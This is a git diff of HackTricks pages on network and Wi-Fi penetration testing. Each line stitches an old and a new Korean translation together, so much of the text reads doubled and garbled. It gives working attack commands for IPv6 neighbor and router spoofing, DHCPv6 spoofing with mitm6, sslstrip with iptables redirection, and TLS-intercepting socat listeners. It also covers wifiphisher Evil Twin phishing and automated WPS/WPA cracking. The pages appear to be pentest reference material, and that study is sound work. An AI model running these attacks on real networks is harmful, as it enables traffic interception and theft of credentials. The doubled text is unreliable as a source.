시스템 및 네트워크로의 여러 경로가 종종 존재합니다. 로컬 네트워크 내의 MAC 주소 목록을 작성한 후 _gateway-finder.py_를 사용하여 IPv4 포워딩을 지원하는 호스트를 식별합니다. 시스템 및 네트워크에 대한 여러 경로가 종종 존재합니다. 로컬 네트워크 내에서 MAC 주소 목록을 작성한 후, _gateway-finder.py_를 사용하여 IPv4 포워딩을 지원하는 호스트를 식별합니다.
``` ```
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/ root@kali:~# cd gateway-finder/
@ -644,58 +649,58 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
``` ```
### [LLMNR, NBT-NS 및 mDNS 스푸핑](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
DNS 조회가 실패할 때 로컬 호스트 해상도를 위해 Microsoft 시스템은 **Link-Local Multicast Name Resolution (LLMNR)****NetBIOS Name Service (NBT-NS)**에 의존합니다. 비슷하게, **Apple Bonjour** 및 **Linux zero-configuration** 구현은 네트워크 내 시스템을 발견하기 위해 **Multicast DNS (mDNS)**를 활용합니다. 이러한 프로토콜들의 인증되지 않은 성격과 UDP를 통해 작동하며 메시지를 브로드캐스팅하기 때문에, 악의적인 서비스로 사용자를 리디렉션하려는 공격자들에 의해 악용될 수 있습니다. DNS 조회가 실패할 때 로컬 호스트 해상도를 위해 Microsoft 시스템은 **Link-Local Multicast Name Resolution (LLMNR)****NetBIOS Name Service (NBT-NS)**에 의존합니다. 유사하게, **Apple Bonjour** 및 **Linux zero-configuration** 구현은 네트워크 내 시스템을 발견하기 위해 **Multicast DNS (mDNS)**를 사용합니다. 이러한 프로토콜의 인증되지 않은 특성과 UDP를 통한 메시지 브로드캐스팅으로 인해 공격자는 사용자를 악성 서비스로 리디렉션하기 위해 이를 악용할 수 있습니다.
Responder를 사용하여 호스트가 검색하는 서비스를 흉내낼 수 있습니다.\ Responder를 사용하여 호스트가 검색하는 서비스를 가장하여 가짜 응답을 보낼 수 있습니다.\
[Responder를 사용하여 서비스를 흉내내는 방법에 대한 자세한 정보는 여기를 참조하십시오](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). [Responder로 서비스를 가장하는 방법에 대한 더 많은 정보는 여기에서 확인하세요](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [WPAD 스푸핑](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
브라우저는 일반적으로 **Web Proxy Auto-Discovery (WPAD) 프로토콜을 사용하여 프록시 설정을 자동으로 획득**합니다. 이는 특정 URL을 통해 서버로부터 구성 세부 정보를 가져오는 것을 포함합니다. 클라이언트가 이 서버를 발견하는 방법은 다음과 같습니다: 브라우저는 일반적으로 **Web Proxy Auto-Discovery (WPAD) 프로토콜을 사용하여 프록시 설정을 자동으로 획득합니다**. 이는 "http://wpad.example.org/wpad.dat"와 같은 URL을 통해 서버에서 구성 세부정보를 가져오는 것을 포함합니다. 클라이언트가 이 서버를 발견하는 방법은 여러 가지가 있습니다:
* **DHCP**를 통해, 발견은 특별한 코드 252 항목을 활용하여 용이하게 이루어집니다. * **DHCP**를 통해, 여기서 발견은 특별한 코드 252 항목을 사용하여 촉진됩니다.
* **DNS**를 통해, 로컬 도메인 내에서 _wpad_로 레이블이 지정된 호스트 이름을 검색하는 것을 포함합니다. * **DNS**를 통해, 이는 로컬 도메인 내에서 _wpad_라는 호스트 이름을 검색하는 것을 포함합니다.
* **Microsoft LLMNR 및 NBT-NS**를 통해, DNS 조회가 성공하지 않은 경우에 사용되는 대체 메커니즘입니다. * **Microsoft LLMNR 및 NBT-NS**를 통해, 이는 DNS 조회가 성공하지 않을 경우 사용되는 대체 메커니즘입니다.
Responder 도구악의적인 **WPAD 서버**로 작동하여 이 프로토콜을 악용합니다. DHCP, DNS, LLMNR 및 NBT-NS를 사용하여 클라이언트가 연결하도록 속이는 것입니다. Responder를 사용하여 서비스를 흉내내는 방법에 대해 자세히 알아보려면 [여기를 확인하십시오](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). 도구 Responder는 **악성 WPAD 서버**로 작동하여 이 프로토콜을 이용합니다. DHCP, DNS, LLMNR 및 NBT-NS를 사용하여 클라이언트를 속여 자신에게 연결하도록 유도합니다. Responder를 사용하여 서비스를 가장하는 방법에 대해 더 깊이 알아보려면 [여기를 확인하세요](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [SSDP 및 UPnP 장치 스푸핑](spoofing-ssdp-and-upnp-devices.md) ### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
네트워크에서 다른 서비스를 제공하여 사용자를 속여 **일반 텍스트 자격 증명**을 입력하도록 유도할 수 있습니다. **이 공격에 대한 자세한 정보는** [**SSDP 및 UPnP 장치 스푸핑**](spoofing-ssdp-and-upnp-devices.md)**에서 확인하십시오.** 네트워크에서 다양한 서비스를 제공하여 **사용자를 속여 일부 **평문 자격 증명**을 입력하도록 시도할 수 있습니다. **이 공격에 대한 더 많은 정보는** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**에서 확인하세요.**
### IPv6 이웃 스푸핑 ### IPv6 Neighbor Spoofing
이 공격은 ARP 스푸핑과 매우 유사하지만 IPv6 환경에서 발생합니다. 피해자가 공격자의 MAC 주소를 가진 GW의 IPv6를 가지고 있다고 생각하게 할 수 있습니다. 이 공격은 ARP Spoofing과 매우 유사하지만 IPv6 세계에서 발생합니다. 피해자가 GW의 IPv6가 공격자의 MAC을 가지고 있다고 생각하게 만들 수 있습니다.
```bash ```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
``` ```
### IPv6 라우터 광고 스푸핑/플러딩 ### IPv6 라우터 광고 스푸핑/플러딩
일부 OS는 네트워크에 전송된 RA 패킷에서 기본적으로 게이트웨이를 구성합니다. 공격자를 IPv6 라우터로 선언하려면 다음을 사용할 수 있습니다: 일부 운영 체제는 네트워크에서 전송된 RA 패킷으로부터 기본적으로 게이트웨이를 구성합니다. 공격자를 IPv6 라우터로 선언하려면 다음을 사용할 수 있습니다:
```bash ```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4 sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0 ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16 fake_router6 wlan0 fe80::01/16
``` ```
### IPv6 DHCP spoofing ### IPv6 DHCP 스푸핑
기본적으로 일부 OS는 네트워크에서 DHCPv6 패킷을 읽어 DNS를 구성하려고 시도합니다. 그런 다음, 공격자는 자신을 DNS로 구성하기 위해 DHCPv6 패킷을 보낼 수 있습니다. DHCP는 피해자에게 IPv6를 제공합니다. 기본적으로 일부 운영 체제는 네트워크에서 DHCPv6 패킷을 읽어 DNS를 구성하려고 합니다. 그런 다음 공격자는 자신을 DNS로 구성하기 위해 DHCPv6 패킷을 보낼 수 있습니다. DHCP는 또한 피해자에게 IPv6를 제공합니다.
```bash ```bash
dhcp6.spoof on dhcp6.spoof on
dhcp6.spoof.domains <list of domains> dhcp6.spoof.domains <list of domains>
mitm6 mitm6
``` ```
### HTTP (가짜 페이지 및 JS 코드 입) ### HTTP (가짜 페이지 및 JS 코드 입)
## 인터넷 공격 ## 인터넷 공격
### sslStrip ### sslStrip
이 공격이 하는 것은, 사용자가 HTTPS 버전으로 리디렉팅되는 HTTP 페이지에 액세스하려고 시도할 때, sslStrip이 클라이언트와 서버 간에 HTTP 연결과 HTTPS 연결을 유지하여 연결을 평문으로 가로챌 수 있도록 하는 것입니다. 기본적으로 이 공격은 **사용자**가 **HTTPS** 버전으로 **리디렉션**되는 **HTTP** 페이지에 **접근**하려고 할 때 발생합니다. **sslStrip**는 **클라이언트와**의 **HTTP 연결**과 **서버와**의 **HTTPS 연결**을 **유지**하여 **일반 텍스트**로 연결을 **스니핑**할 수 있게 합니다.
```bash ```bash
apt-get install sslstrip apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -704,22 +709,22 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
``` ```
더 많은 정보는 [여기](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)에서 확인할 수 있습니다. 더 많은 정보는 [여기](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf)에서 확인하세요.
### HSTS 우회를 위한 sslStrip+ 및 dns2proxy ### sslStrip+ 및 dns2proxy를 통한 HSTS 우회
**sslStrip+와 dns2proxy**가 **sslStrip**와 **다른 점**은 예를 들어 _**www.facebook.com**_을 _**wwww.facebook.com**_으로 **리다이렉트**하고 이 도메인의 **주소를 공격자 IP로 설정**한다는 것입니다. 이렇게 하면 **클라이언트**가 _**wwww.facebook.com**_ (공격자)에 **연결**하지만 **sslstrip+**는 **실제 연결**을 유지하면서 **www.facebook.com**으로 https를 통해 연결합니다. **sslStrip+와 dns2proxy****차이점**은 **sslStrip**에 비해 **예를 들어 _**www.facebook.com**_을 _**wwww.facebook.com**_으로 **리다이렉트**한다는 것입니다**(여기서 **추가된** "**w**"에 주목하세요) 그리고 **이 도메인의 주소를 공격자 IP로 설정합니다**. 이렇게 하면 **클라이언트**는 _**wwww.facebook.com**_ **(공격자)**에 **연결**하지만, 뒤에서는 **sslstrip+**가 **www.facebook.com**과의 **실제 연결을 유지합니다**.
이 기술의 **목표**는 _**wwww**.facebook.com_이 브라우저의 **캐시에 저장되지 않기** 때문에 브라우저가 **HTTP에서 facebook 인증을 수행하도록 속이는 것**입니다.\ 이 기술의 **목표**는 **HSTS를 피하는 것**입니다. 왜냐하면 _**wwww**.facebook.com_ **은** **브라우저의 캐시에 저장되지 않기 때문에**, 브라우저는 **HTTP로 facebook 인증을 수행하도록 속일 수 있습니다**.\
이 공격을 수행하려면 피해자가 처음에 [http://www.faceook.com](http://www.faceook.com)에 액세스하려고 시도해야 합니다. 이는 http 페이지 내의 링크를 수정하여 수행할 수 있습니다. 이 공격을 수행하기 위해서는 피해자가 처음에 [http://www.faceook.com](http://www.faceook.com)에 접근해야 하며, https가 아니어야 합니다. 이는 http 페이지 내의 링크를 수정하여 수행할 수 있습니다.
더 많은 정보는 [여기](https://www.bettercap.org/legacy/#hsts-bypass), [여기](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 및 [여기](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)에서 확인할 수 있습니다. 더 많은 정보는 [여기](https://www.bettercap.org/legacy/#hsts-bypass), [여기](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) 및 [여기](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)에서 확인하세요.
**sslStrip 또는 sslStrip+는 더 이상 작동하지 않습니다. 이는 브라우저에 미리 저장된 HSTS 규칙이 있기 때문에 사용자가 "중요한" 도메인에 처음 액세스하더라도 HTTPS를 통해 액세스할 것입니다. 또한, 미리 저장된 규칙 및 다른 생성된 규칙이** [**`includeSubdomains`**](https://hstspreload.appspot.com) **플래그를 사용할 수 있으므로 앞에서 언급한 _**wwww.facebook.com**_ 예제는 더 이상 작동하지 않을 것입니다.** _**facebook.com**_ **은 `includeSubdomains`를 사용하여 HSTS를 사용합니다.** **sslStrip 또는 sslStrip+는 더 이상 작동하지 않습니다. 이는 브라우저에 HSTS 규칙이 미리 저장되어 있기 때문입니다. 따라서 사용자가 "중요한" 도메인에 처음 접근하더라도 HTTPS를 통해 접근하게 됩니다. 또한, 미리 저장된 규칙과 다른 생성된 규칙은** [**`includeSubdomains`**](https://hstspreload.appspot.com) **플래그를 사용할 수 있으므로, 이전의 _**wwww.facebook.com**_ 예시는 더 이상 작동하지 않습니다. 왜냐하면 _**facebook.com**_이 `includeSubdomains`와 함께 HSTS를 사용하기 때문입니다.**
TODO: easy-creds, evilgrade, metasploit, factory TODO: easy-creds, evilgrade, metasploit, factory
## TCP 포트에서 수신 ## TCP 포트에서 수신
```bash ```bash
sudo nc -l -p 80 sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr - socat TCP4-LISTEN:80,fork,reuseaddr -
@ -736,18 +741,18 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files: # Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
``` ```
#### 인증서를 사용하여 수신 #### 인증서를 사용하여 수신
``` ```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
``` ```
#### 인증서를 사용하여 호스트로 리다이렉트하기 #### 인증서를 사용하여 수신하고 호스트로 리디렉션하기
``` ```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
``` ```
가끔, 클라이언트가 CA가 유효한지 확인하면 **CA가 서명한 다른 호스트 이름의 인증서를 제공**할 수 있습니다.\ 때때로 클라이언트가 CA가 유효한지 확인하면, **CA에 의해 서명된 다른 호스트 이름의 인증서를 제공할 수 있습니다**.\
또 다른 흥미로운 테스트는 요청된 호스트 이름의 c**ertificate를 제공하지만 self-signed**하는 것입니다. 또 다른 흥미로운 테스트는 **요청된 호스트 이름의 인증서를 제공하지만 자체 서명된** 것입니다.
다른 테스트할 사항으로는 유효한 CA가 아닌 유효한 인증서로 인증서에 서명을 시도해보거나, 유효한 공개 키를 사용하여 실제 개인 키로 아무것도 해독할 필요가 없는 diffie hellman과 같은 알고리즘을 강제로 사용하고 클라이언트가 실제 개인 키의 프로브(해시와 같은)를 요청할 때 가짜 프로브를 보내고 클라이언트가 이를 확인하지 않도록 기대할 수 있습니다. 테스트할 다른 사항은 유효한 CA가 아닌 유효한 인증서로 인증서에 서명해 보거나, 유효한 공개 키를 사용하여 diffie hellman과 같은 알고리즘을 강제로 사용하고(실제 개인 키로 아무것도 복호화할 필요가 없는 알고리즘) 클라이언트가 실제 개인 키의 프로브(해시와 같은)를 요청할 때 가짜 프로브를 보내고 클라이언트가 이를 확인하지 않기를 기대하는 것입니다.
## Bettercap ## Bettercap
```bash ```bash
@ -775,19 +780,19 @@ set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2 set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap wifi.recon on; wifi.ap
``` ```
### 활성 탐지 노트 ### Active Discovery Notes
UDP 패킷이 요청된 포트를 가지고 있지 않은 장치로 전송될 때 ICMP (포트 도달 불가)가 전송된다는 점을 고려하십시오. UDP 패킷이 요청된 포트가 없는 장치로 전송될 때 ICMP (Port Unreachable)가 전송된다는 점을 고려하세요.
### **ARP 발견** ### **ARP discover**
ARP 패킷은 네트워크 내에서 사용되는 IP 주소를 발견하는 데 사용됩니다. PC는 각 가능한 IP 주소에 대한 요청을 보내고 사용 중인 것만 응답합니다. ARP 패킷은 네트워크 내에서 사용 중인 IP를 발견하는 데 사용됩니다. PC는 가능한 각 IP 주소에 대해 요청을 보내야 하며, 사용 중인 IP만 응답합니다.
### **mDNS (멀티캐스트 DNS)** ### **mDNS (multicast DNS)**
Bettercap은 **\_services\_.dns-sd.\_udp.local**를 요청하는 MDNS 요청을 보냅니다 (매 X 밀리초마다). 이 패킷을 보는 기기는 일반적으로 이 요청에 응답합니다. 그런 다음 "services"에 응답하는 기기만 검색합니다. Bettercap은 **\_services\_.dns-sd.\_udp.local**에 대한 MDNS 요청을 (매 X ms마다) 전송하며, 이 패킷을 보는 머신은 일반적으로 이 요청에 응답합니다. 그런 다음 "services"에 응답하는 머신만 검색합니다.
**도구** **Tools**
* Avahi-browser (--all) * Avahi-browser (--all)
* Bettercap (net.probe.mdns) * Bettercap (net.probe.mdns)
@ -795,38 +800,39 @@ Bettercap은 **\_services\_.dns-sd.\_udp.local**를 요청하는 MDNS 요청을
### **NBNS (NetBios Name Server)** ### **NBNS (NetBios Name Server)**
Bettercap은 "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA"라는 이름을 요청하기 위해 137/UDP 포트로 패킷을 브로드캐스트합니다. Bettercap은 이름 "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA"에 대해 포트 137/UDP로 브로드캐스트 패킷을 전송합니다.
### **SSDP (간단한 서비스 검색 프로토콜)** ### **SSDP (Simple Service Discovery Protocol)**
Bettercap은 모든 종류의 서비스를 검색하기 위해 SSDP 패킷을 브로드캐스트합니다 (UDP 포트 1900). Bettercap은 모든 종류의 서비스를 검색하기 위해 SSDP 패킷을 브로드캐스트합니다 (UDP 포트 1900).
### **WSD (웹 서비스 검색)** ### **WSD (Web Service Discovery)**
Bettercap은 서비스를 검색하기 위해 WSD 패킷을 브로드캐스트합니다 (UDP 포트 3702). Bettercap은 서비스를 검색하기 위해 WSD 패킷을 브로드캐스트합니다 (UDP 포트 3702).
## 참고 자료 ## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
* **네트워크 보안 평가: 네트워크 파악하기 (3판)** * **Network Security Assessment: Know Your Network (3rd edition)**
* **실용적인 IoT 해킹: 사물 인터넷 공격의 확정 가이드. Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** * **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
* [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**버그 바운티 팁**: **Intigriti**에 **가입**하여 **해커들이 만든 프리미엄 버그 바운티 플랫폼** **Intigriti**에 참여하세요! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘부터 최대 **$100,000**의 바운티를 받아보세요! **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**로부터 **제로**에서 **히어로**까지 **AWS 해킹 배우기**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,33 +1,36 @@
# Wifi 기본 명령어 # Pentesting Wifi
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영월까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
경험 많은 해커 및 버그 바운티 헌터와 소통하려면 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하세요! Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**해킹 통찰**\ **Hacking Insights**\
해킹의 스릴과 도전에 대해 파헤치는 콘텐츠와 상호 작용 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
**실시간 해킹 뉴스**\ **Real-Time Hack News**\
빠르게 변화하는 해킹 세계의 최신 소식과 통찰력을 유지하세요 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
**최신 공지**\ **Latest Announcements**\
출시되는 최신 버그 바운티 및 중요한 플랫폼 업데이트에 대해 정보를 유지하세요 새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 최신 정보를 유지하세요.
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)에 참여하여 최고의 해커들과 협업을 시작하세요!** **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Wifi basic commands
```bash ```bash
ip link show #List available interfaces ip link show #List available interfaces
iwconfig #List available interfaces iwconfig #List available interfaces
@ -49,15 +52,13 @@ iwlist wlan0 scan #Scan available wifis
git clone https://github.com/s0lst1c3/eaphammer.git git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup ./kali-setup
``` ```
### Airgeddon
### 에어게돈 ### 에어게돈
```bash ```bash
mv `which dhcpd` `which dhcpd`.old mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
``` ```
**도커를 사용하여 airgeddon 실행하기** **도커 airgeddon 실행하기**
```bash ```bash
docker run \ docker run \
--rm \ --rm \
@ -70,9 +71,11 @@ docker run \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \ -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon v1s1t0r1sh3r3/airgeddon
``` ```
From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux)
### wifiphisher ### wifiphisher
Evil Twin, KARMA 및 Known Beacons 공격을 수행한 다음 피싱 템플릿을 사용하여 네트워크 실제 암호를 획들하거나 소셜 네트워크 자격 증명을 캡처할 수 있습니다. Evil Twin, KARMA, 및 Known Beacons 공격을 수행할 수 있으며, 이후 피싱 템플릿을 사용하여 네트워크의 실제 비밀번호를 얻거나 소셜 네트워크 자격 증명을 캡처할 수 있습니다.
```bash ```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory cd wifiphisher # Switch to tool's directory
@ -82,61 +85,63 @@ sudo python setup.py install # Install any dependencies
이 도구는 **WPS/WEP/WPA-PSK** 공격을 자동화합니다. 자동으로 다음을 수행합니다: 이 도구는 **WPS/WEP/WPA-PSK** 공격을 자동화합니다. 자동으로 다음을 수행합니다:
* 인터페이스를 모니터 모드로 설정합니다 * 인터페이스를 모니터 모드로 설정
* 가능한 네트워크를 스캔하고 피해자를 선택할 수 있게 합니다 * 가능한 네트워크 스캔 - 피해자 선택 가능
* WEP인 경우 - WEP 공격 시작합니다 * WEP인 경우 - WEP 공격 시작
* WPA-PSK인 경우 * WPA-PSK인 경우
* WPS인 경우: Pixie 더스트 공격 및 브루트포스 공격 (브루트포스 공격은 오랜 시간이 걸릴 수 있으니 주의하세요). 널 PIN 또는 데이터베이스/생성된 PIN을 시도하지 않음에 유의하세요. * WPS인 경우: 픽시 더스트 공격 및 브루트포스 공격 (브루트포스 공격은 시간이 오래 걸릴 수 있으니 주의). 널 PIN 또는 데이터베이스/생성된 PIN을 시도하지 않습니다.
* AP로부터 PMKID를 캡처하여 크랙을 시도합니다 * AP에서 PMKID를 캡처하여 크랙 시도
* AP의 클라이언트를 비인증하려고하여 핸드셰이크를 캡처합니다 * AP의 클라이언트를 비인증화하여 핸드셰이크 캡처 시도
